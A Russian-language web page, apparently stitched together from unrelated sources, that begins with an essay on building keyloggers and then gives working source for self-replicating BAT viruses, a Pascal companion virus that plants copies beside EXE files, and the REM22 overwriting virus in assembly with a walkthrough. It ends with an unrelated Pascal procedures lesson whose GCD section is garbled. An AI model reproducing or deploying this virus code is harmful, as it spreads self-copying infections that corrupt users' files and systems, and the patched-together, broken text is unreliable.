Как написать свой вирус в паскале
Хакерский мир можно условно разделить на три группы атакующих:
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Вторая версия кода:
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Сегодня я еще раз хочу затронуть тему простых вирусов. Речь не пойдет о замещающих вирусах, а поговорим об компаньон-вирусах, спутниках и про BAT-вирусы
@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но все-таки я бы не сказал что это полноценный вирус, т.к. он лишен возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел более четкие очертания дополним его возможностью заражать другие ПК:
@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul
В этом примере появляется строка, которая дает возможность вирусу заражать дискеты. Смысл этого в том что если при перезагрузке ПК в дисководе будет дискета, то она будет заражена.
Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза юзеру, чтобы этого не было существует программа attrib. Преобразуем вирус:
@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul
Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы этого не произошло есть простой способ: после записи вызова надо с помощью программы attrib установить атрибут только чтение у autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо грамотнее:
@Echo off
if exist c:virus.bat goto cool
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:cool
copy %0 a:run.bat >nul
Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если он уже существует, то происходит переход к метке cool. Этот способ тоже очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat, а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы вирус был умнее, то надо использовать программу find, если вам будет не лень с ней разбираться, то вы сможете написать более сложный BAT-вирус, который будет заражать не один файл c:autoexec.bat, а все *.BAT. Пример:
@echo off%[MeTrA]%
if '%1=='In_ goto MeTrAin
if exist c:MeTrA.bat goto MeTrAru
if not exist %0 goto MeTrAen
find "MeTrA" c:MeTrA.bat
attrib +h c:MeTrA.bat
:MeTrAru
for %%t in (*.bat) do call c:MeTrA In_ %%t
goto MeTrAen
:MeTrAin
find "MeTrA" nul
if not errorlevel 1 goto MeTrAen
type c:MeTrA.bat>>%2
:MeTrAen
Смысл заражения таков: в вирусе каждая строчка имеет метку, в данном примере она MeTrA. Например, в первой строке эта метка ничего не делает, во второй строке эта метка, как бы, не является пассивной, она используется для внутренней работы вируса, а именно участвует в названии метки. При запуске вирус проверяет, есть ли файл C:METRA.BAT, если нет, то вирус создает его и с помощью программы find копирует из файла (из которого стартовал) все строки содержащие метку вируса, т.е. копирует только вирусные строки. Так, вирусные строки скопированы. Значит в файле C:METRA.BAT теперь находится копия вируса. Далее вирус ищет BAT-файлы. Чтобы не происходило повторного заражения используется все таже программа find. Допустим вирус нашел файл RUN.BAT и он оказался еще не заражен, тогда вирус вызывает файл C:METRA.BAT с такими параметрами: In_ RUN.BAT, здесь первый параметр In_ говорит вирусу, что надо заразить файл, имя которого указано во-втором параметре, в данном случае он RUN.BAT. Вирус в C:METRA.BAT заражает файл RUN.BAT простейшим способом - с помощью команды type дописывает к файлу RUN.BAT себя. Вот так файл RUN.BAT оказывается зараженным.
Эти вирусы не изменяют программы. Они создают для EXE-файлов COM-файлы. При запуске программы сначала запустится COM-файл с вирусом, который заразив другие файлы запустит EXE-файл. Рассмотрим пример:
<$M 2048,0,4096>
<$i->
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; < размер вируса >
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
< считать свое тело в буфер >
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
< искать жертву >
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
< проверить существует ли файл >
Assign(ft,namecom);
reset(ft);
if ioresult=0 then < если уже существует >
begin
close(ft);
goto infOk;
end;
< создать COM-файл с вирусом >
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; <если ошибка, то пропустить>
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
< запустим своего носителя >
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
< если вызвали с таким параметром, то надо представитьcя >
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); < выйти и сохранить код ошибки >
End.
Вирус будет лучше если его упаковать чем-нибудь вроде PKLITE с параметром -e. Вверху есть массив - размер вируса, смотрите, чтобы значение его было не меньше EXE-файла с вирусом, а желательно чтобы и больше не было.
• найти EXE-файл
• найти OVR-файл с тем же именем
• если его нет, то переименовать найденный EXE-файл в OVR-файл, записаться вместо EXE-файла.
"Он долго куда-то ехал в неудобной жесткой упаковке, его трясло и укачивало, тело требовало пищи. Он не понимал, почему его, только-только появившегося на свет, вышвырнули из дома. Наконец тряска прекратилась, и кто-то чужой и грубый вскрыл приаттаченный к письму архив. Молодой, любопытный вирус высунулся наружу и совершил свое первое деление. "
В этой статье я поделюсь опытом вирусописания. Основной принцип деятельности любого вируса можно выразить в нескольких словах: тело вируса во время его выполнения трактуется, как код, а во время заражения, как данные. Существует много типов вирусов и различных способов заражения. Естественно, сам механизм действий вируса зависит от конкретной операционной системы. Есть, например, вирусы, работающие в защищенном режиме процессора (режим максимальных
привилегий и абсолютной адресации всей памяти). На лечение таких экземпляров таким компаниям, как AVP, приходится тратить очень много времени и ресурсов. Единственное, что спасает создателей антивирусов - очень малое число реально профессиональных вирусов.
Предположим ты нашел исходник какого-либо вируса и хочешь его исследовать. Как это сделать? Честно говоря, я сам столкнулся с такой проблемой в самый первый раз. У меня вопрос стал так: есть текст вируса, хочу посмотреть, как он работает, и при этом Я ЕГО БОЮСЬ! Это полностью реально: что помешает этому вирусы спалить мой CMOS или потереть мой винт? Ответ: ничто. При твоих неправильных действиях вирус может причинить тебе тот вред, на который запрограммирован. Однако, алгоритм правильных действий достаточно прост. Сейчас мы в нем и разберемся.
Будем считать, что исходник вируса написан на ассемблере. Этот язык идеально подходит для написания вирусов. Как известно, в
ассемблере есть только две команды вызывающие "реальные" (имеются в виду действия, способные произвести
необратимые изменения на жестком диске или еще где-нибудь) это "INT" и "OUT", все остальные команды работают с регистрами процессора и флагами (хоть и достаточно грубо, но по большому счету верно). Мы не рассматриваем функции WIN API, так как их в принципе можно считать заменой прерываний DOS, а их вызов - заменой команды
"INT".
Небольшая справка для новичков или давно не писавших на асме: команда "INT" служит для вызова прерываний DOS или BIOS, а команда "OUT" для записи данных в порт. При этом для команды "INT" номер функции указывается в регистре AH (чаще всего), а
для команды "OUT" в регистрах AL, AX, EAX хранятся данные, записываемые в порт.
Итак. Возьми любой отладчик. Так как для начала нужно разбираться в вирусах под DOS (они по-прежнему работают и под
Win), то подойдет любой отладчик: Turbo Debugger от Borland Inc., CodeView от MicroSoft, AFDPRO или AVPUTIL. Далее, загрузи исходник в отладчик и пошагово трассируйте. Главное придерживаться ТОЛЬКО ОДНОГО ПРАВИЛА. Его можно назвать золотым.
ВНИМАНИЕ: ты можешь смело выполнять исходный код твоего вируса, но как только ты дойдешь до команд "OUT" или "INT" сразу останавливайся и начинай анализ.
Ты должен проанализировать:
- номер вызываемого прерывания или порта записи;
- номер вызываемой функции или данные, записываемые в порт.
Для того, чтобы разобраться с реальными действиями этих команд используй либо Tech Help, либо любую доку по асму, либо любую
книгу. Главное, чтобы в твоем источнике можно было найти инфу по всем прерываниям и портам.
Таким образом, ты можешь понять, что будет делать
следующая команда, не выполнив ее у себя на компьютере. Во время трассировки, записывай все данные (состояние регистров, адреса команд, данные о
вызываемых функциях и т.д. ) на листочек бумаги. Тогда к моменту вызова функции (или записи в порт) ты будешь во всеоружии и сможешь определить, что произойдет, если ты выполнишь следующую команду. Так же это поможет тебе при сравнительном анализе изменений в регистрах и флагах.
После того, как ты поймешь, что делает та или иная команда ("INT" или "OUT"), пропусти ее и иди дальше, пока не
встретишь конец файла или следующую такую команду. В результате ты разложишь любой вирус по полочкам и разберешься в его функционировании.
Давай рассмотрим пример. В качестве оного я взял небольшой вирус, написанный неким Reminder'ом. Я достал его из одиннадцатого номера Infected Voice'а. Там он был без комментариев, так что всю работу пришлось проделать самому. Что меня
привлекло в этом творении: очень маленький исходный код, очень маленький размер откомпилированного экзешника, непонятный (на первый взгляд) алгоритм. Вот его исходный код (кстати, называется он REM22):
.model tiny
.code
.startup
start:
pop cx
hel:
xchg ax,bx
db 108h shr 1
db 4eh ; dec si
db 9eh shr 1
db 3ch ;cmp al,xx
db 100h shr 1
db 40h
fmask db '*.*',0
lodsw
cwd
mov dl,al
shl dx,1
int 21h
jmp hel
end
Этот вирус на мой взгляд является шедевром, так как при таком маленьком размере
организовать механизм размножения - работа по истине гения. Когда мы сейчас разберем, что и как он делает, все
станет на свои места. А пока надо заметить: в принципе, этот вирус не несет каких-либо деструктивных действий (думаю, размножение нельзя считать таковым), однако заражает все файлы
в одном с ним каталоге. Он не является "профессиональным" вирусом, то есть в нем отсутствуют многие механизмы, характерные для серьезных творений:
- отсутствует механизм "свой/чужой" (вирус заражает всех без разбора, даже себя или уже зараженные объекты);
- заражение происходит только файлов в одном с ним каталоге (попробуй его скомпилировать и запустить в папке, где кроме него
никого нет :)); - вирус не является полиморфным (не шифрует сам себя и не меняет свой код);
- вирус не несет деструктивных действий;
- вирус не является резидентым.
То есть его можно считать - оверрайтером (программой перезаписывающей что-либо). Но на его примере очень просто проиллюстрировать механизм размножения (да еще такой гибкий).
Давай заглянем к внутрь нашего
оверрайетера. Исходник представляет из себя модель для создания exe-файла. ".startup" это директива TASM'а, без нее можно обойтись, но тогда придется писать "org 100h", а потом ставить метку (и
в конце, после "end", ставить имя метки). Остальные команды можно без проблем найти в любой книжке и посмотреть, что они делают (не ленись). Осталось только разобраться, что делают эти команды вместе в совокупности.
Данный шедевр - это обыкновенный цикл, который повторяется 6 раз. Что же происходит в цикле? А происходит то, что мы вызываем int 21h с шестью разными функциями (93, 4E, 3C, 40, 2E, 00). Смотрим
по порядку, значит:
"pop cx" - это только для обнуления сх (в вершине стека, как ты знаешь, вначале проги лежит зеро). Зачем? А чтобы на команде SUB CH,[2Ah] (поищи, оно должно быть по смещению 108h в дебаггере) получить CH=01 (по смещению 2Ah (это в PSP где-то) всегда лежит FFh), т.е. можно не выпендриваться и просто написать sub ch,ffh, но это изменит код проги. Получается:
*.*,0 = sub CH,[2Ah], а это уже готовая маска для поиска. ВОТ ГДЕ ГЕНИАЛЬНОСТЬ.
То есть sub ch,ffh - это "Aе " (в ASCII кодах с пробелом в конце). Дальше, все что идет со смещения 101 (code 93) до смещения 10B (code 00) - это ФУНКЦИИ ДЛЯ int 21h. Т.е. это 6 функций, которые мы по очереди вызываем в цикле (см. выше их номера), а код, который при этом получается - это просто мишура. Это не имеет АБСОЛЮТНО НИКАКОГО СМЫСЛА! ТАК ПОЛУЧИЛОСЬ, ЕСЛИ СОБРАТЬ ФУНКЦИИ ПОДРЯД. То есть, если я напишу TANAT, то это переведется в последовательность каких-то команд, ведь так? Но это по сути данные. хотя в данной проге - это и данными не назовешь, это просто ФУНКЦИИ для int 21h, вот в чем
ГЕНИАЛЬНОСТЬ. Дальше рассказывать смысла нет - потому как в каждом из шести циклов происходит вызов функции, ну и все регистры приблизительно
подогнаны под идеалы. Смотри:
-в первый раз вызывается 93h функция: Pipe (Error) - она для самой проги НЕ ВЫПОЛНЯЕТ НИКАКОЙ НАГРУЗКИ, НИЧЕГО ПОЛЕЗНОГО НЕ ДЕЛАЕТ, ЭТО ПРОСТО ИЗЛИШЕК, ОНА НЕ НУЖНА, ЭТО ЛИШНИЙ ЦИКЛ, НО УЧИТЫВАЯ гениальность кода, она просто ВОЗНИКАЕТ САМА ПО СЕБЕ И ОТ НЕЕ НИКУДА НЕ ДЕНЕШЬСЯ. Будет еще одна такая "левая" функция - см. дальше.
-вторая: 4Eh - вот это уже то, что надо! Поиск файла, причем к моменту вызова в dx находится смещение маски файла (108h).
-третья: 3Ch - создание файла. Это еще одна "левая" функция. Она нам ни к чему. Нам незачем создавать файл (ведь мы должны только записать себя в тот файл, что нашли в предыдущем шаге). В DX лежит какой-то левый мусор, естественно с
именем файла ничего общего не имеет, поэтому CF=1 и мы переходим на следующий цикл.
-четвертая: 40h - Запись в файл. А вот это то, что нам надо уже! DX содержит смещение 100h (т.е. начало REM22), а вот CX немного подвел - он равен 400h, т.е. реально в начало найденного файла
запишется 400h байт, тогда как REM22 занимает всего 22 байта, т.е. запишется 1002 лишних байта. Это так. Но учитывая гениальность кода :), это можно простить.
-пятая: 2Eh - Set Verify Flag. Это САМАЯ ЛЕВАЯ функция, тут она просто - аппендикс проги.
-шестая: 00h - это оказывается выход из проги (я тоже не знал).
Вот и все: то есть мы имеем 6 циклов, из которых смысловых только 3: поиск, запись и выход.
Скорее всего тебе будет очень многое не
поянтно. Чтобы разобраться, загрузи исходник в отладчик, потрассируй его, посмотри
на состояние данные в регистрах, посмотри на мои комментарии. Тогда все станет ясно. В заключение
привожу отладочную таблицу, чтоб ты не составлял ее сам (за одно и посмотришь, как она должна выглядеть). В принципе ее одной должно хватить,
для понимания того, что происходит в этом вирусе, но, думаю, комментарии будут не лишними.
лабораторные работы и задачи по программированию и информатике, егэ по информатике
Процедуры в Паскале
Во многих языках программирования подпрограммы существуют только в виде функций. Однако в Паскале подпрограмма — и функция и процедура. Разница между ними станет очевидна в данном уроке.
Итак, рассмотрим синтаксис объявления и описания процедуры в Паскале
procedure pr; var i:integer; begin for i:=1 to 60 do begin <тело подпрограммы>write('*'); writeln; end; end; <конец подпрограммы>begin pr; <вызов процедуры>end.
В данном примере работы с процедурой в Паскале очевидно, что компилятор пропустит блок описания процедуры и дойдет до основной программы (9 строка кода). И только после того, как встретится вызов процедуры (10 строка), компилятор перейдет к ее выполнению, вернувшись к строке 1.
Рассмотрим пример необходимости использования процедуры.
Особенность: Три похожие фигуры.
Алгоритм решения:
- выделить одинаковые или похожие действия (три фигуры);
- найти в них общее (размеры, форма, угол поворота) и отличия (координаты, цвет);
- отличия записать в виде неизвестных переменных, они будут параметрами процедуры.
Решение на паскале:
Процедура:
Программа:
uses GraphABC; procedure Tr( x, y: integer; color:system.Drawing.Color); begin MoveTo(x, y); LineTo(x, y-60); LineTo(x+100, y); LineTo(x, y); FloodFill(x+20, y-20,color); end; begin SetPenColor(clBlack); Tr(100, 100, clBlue); Tr(200, 100, clGreen); Tr(200, 160, clRed); end.
Рассмотрим синтаксис объявления и описания процедуры с параметрами в Паскале.
Параметры процедуры (в некоторых языках они называются аргументами) указываются в скобках после ее имени (в объявлении).
В данном примере в качестве введенного символа будем использовать параметр процедуры. Формальный параметр процедуры указывается в скобках при ее описании. Обязательно необходимо указать тип формального параметра через двоеточие.
Фактический параметр — это то значение, которое указывается в скобках при вызове процедуры. Фактическим параметром может быть конкретное значение (литерал: число, символ, строка…) либо переменная, которые компилятор подставит вместо формального параметра. Поэтому тип данных у формального и фактического параметра процедуры должен быть одинаковым.
var s:char; procedure pr(a:char); var i:integer; begin for i:=1 to 60 do begin write(a); writeln; end; end; begin writeln('simvol'); readln(s); pr(s); end.
В данном примере при вызове процедуры компилятор заменит формальный параметр a фактическим параметром s , т.е. тем символом, который будет введен с клавиатуры. Оба параметра имеют тип данных char .
- число фактических параметров должно быть равно числу формальных параметров;
- соответствующие фактические и формальные параметры должны совпадать по порядку следования и по типу данных.
var x,y,m,n:integer; procedure MaxNumber(a,b:integer;var max:integer); begin if a>b then max:=a else max:=b; end; begin write('vvedite x,y'); readln(x,y); MaxNumber(x,y,m); <фактические параметры>writeln('max=',m) end.
В примере формальные параметры a и b служат для помещения в них сравниваемых чисел, а параметр-переменная max — для сохранения в ней максимального из двух чисел. Параметр-переменная или выходной параметр передает свое значение в основную программу (фактическому параметру m ), т.е. возвращает значение, тогда как формальные параметры-значения (входной параметр), наоборот, принимают значения из основной программы (из фактических параметров x и y ). Для параметра-переменной ( max ) используются те ячейки памяти, которые отведены под соответствующий параметр при вызове процедуры (ячейка m ).
Таким образом, сформулируем понятия:
Если в качестве формального параметра указана обычная переменная с указанием ее типа, то такой параметр есть параметр-значение или входной параметр ( a и b в примере). Тип данных формального параметра-значения должен соответствовать типу данных его фактического параметра ( a и b должны попарно соответствовать типу данных x и y ).
Если перед именем формального параметра в объявлении процедуры стоит служебное слово var, то такой параметр называется параметром-переменной или выходным параметром ( max в примере). Для него используются те ячейки памяти, которые отведены под соответствующий параметр при вызове процедуры ( m ). Фактический параметр, соответствующий параметру-переменной, может быть только переменной (не константой, не литералом и не выражением).
var x,y:integer; procedure exchange(a: integer;var b:integer); var c:integer; begin if a>b then begin c:=a; a:=b; b:=c; <второй параметр процедуры - b - всегда будет максимальным>end; end; begin writeln('введите два числа'); readln(x,y); exchange (x,y); writeln('max=',y) end.
Используя данный способ решения задачи, мы обошлись без третьего параметра. Для этого в процедуре мы использовали еще одну локальную переменную c . Процедура меняет значения переменных a и b таким образом, чтобы b всегда была максимальной. Поэтому в 15 строке программы в качестве максимальной выводится второй параметр ( y ), соответствующий формальному параметру b .
- Необходимо определить наибольший общий делитель двух введенных чисел, используя цикл.
- Необходимо определить наибольший общий делитель двух введенных чисел, используя процедуру (два параметра-значения, один параметр-переменная).
Словесный алгоритм:
- Вводятся a и b (например, 18 и 24)
- В цикле повторяем действия:
- Если а 18
если b>a → swap(a,b)
a=24, b=1824/18 = 1(6) a=6, b=18 2 a=6, b=18
18>6если b>a → swap(a,b)
a=18, b=618/6 =3(0) a=0, b=6
6128 и 56 1 a=128,b=56
a>bнет
a=128,b=56128/56=2(16) a=16,b=56 2 a=16,b=56
b>aесли b>a → swap(a,b)
a=56, b=1656/16=3(8) a=8,b=16 3 a=8,b=16
b>aесли b>a → swap(a,b)
a=16,b=816/8=2(0) a=0, b=8
8
0 do begin if a
В задачах на Паскале часто встречается необходимость заполнить массив данными и затем вывести значения на экран. Почему бы не автоматизировать данную задачу заполнения и вывода массива — т.е. оформить при помощи процедур, а в дальнейшем использовать данные процедуры при надобности.
const n = 10; var i:integer; a, b: array[1..n] of integer; procedure arr_out (k:integer; arr: array[1..n] of integer); var i: byte; begin write ('вывод массива: '); for i := 1 to k do write (arr[i]:4); writeln; end; begin for i:=1 to n do a[i]:=random(10); arr_out (n, a); end.
Пояснение:
Тело основной программы:
— формирование элементов массива (с функцией random ).
— вызов процедуры с двумя параметрами: количество элементов, массив.
Тело процедуры:
— вывод элементов массива с использованием параметров
Продолжим нашу задачу:
const n = 10; var a, b: array[1..n] of integer; procedure arr_rand (k:integer; var arr: array[1..n] of integer); var i: byte; begin write ('Заполнение массива случайными числами '); randomize; for i := 1 to k do arr[i]:=random(100); end; begin arr_rand (n, a); end.
Общее задание 2: Описать процедуру Mean(X, Y, AMean, GMean) , вычисляющую:
- среднее арифметическое AMean = (X+Y)/2
- и среднее геометрическое GMean = √X*Y двух положительных вещественных чисел X и Y .
X и Y — входные параметры, AMean и GMean — выходные параметры вещественного типа.
В основной программе: Для заданных A, B, C, D найти среднее арифметическое и среднее геометрическое для пар (A, B), (A, C), (A, D), используя созданную процедуру.
1 вариант: для 5 одномерных массивов определять произведение элементов каждого массива, используя процедуру с двумя параметрами — число элементов массива и параметр-переменная для вывода произведения.
2 вариант: для 5 одномерных массивов определять минимальный элемент каждого массива, используя процедуру с двумя параметрами — число элементов массива и параметр-переменная для вывода минимального элемента.
* сложное С помощью процедуры формировать случайным образом одномерные массивы из 10 элементов (значения от -20 до +20). Вызывать процедуру до тех пор, пока среди значений не появится ноль.
Читайте также: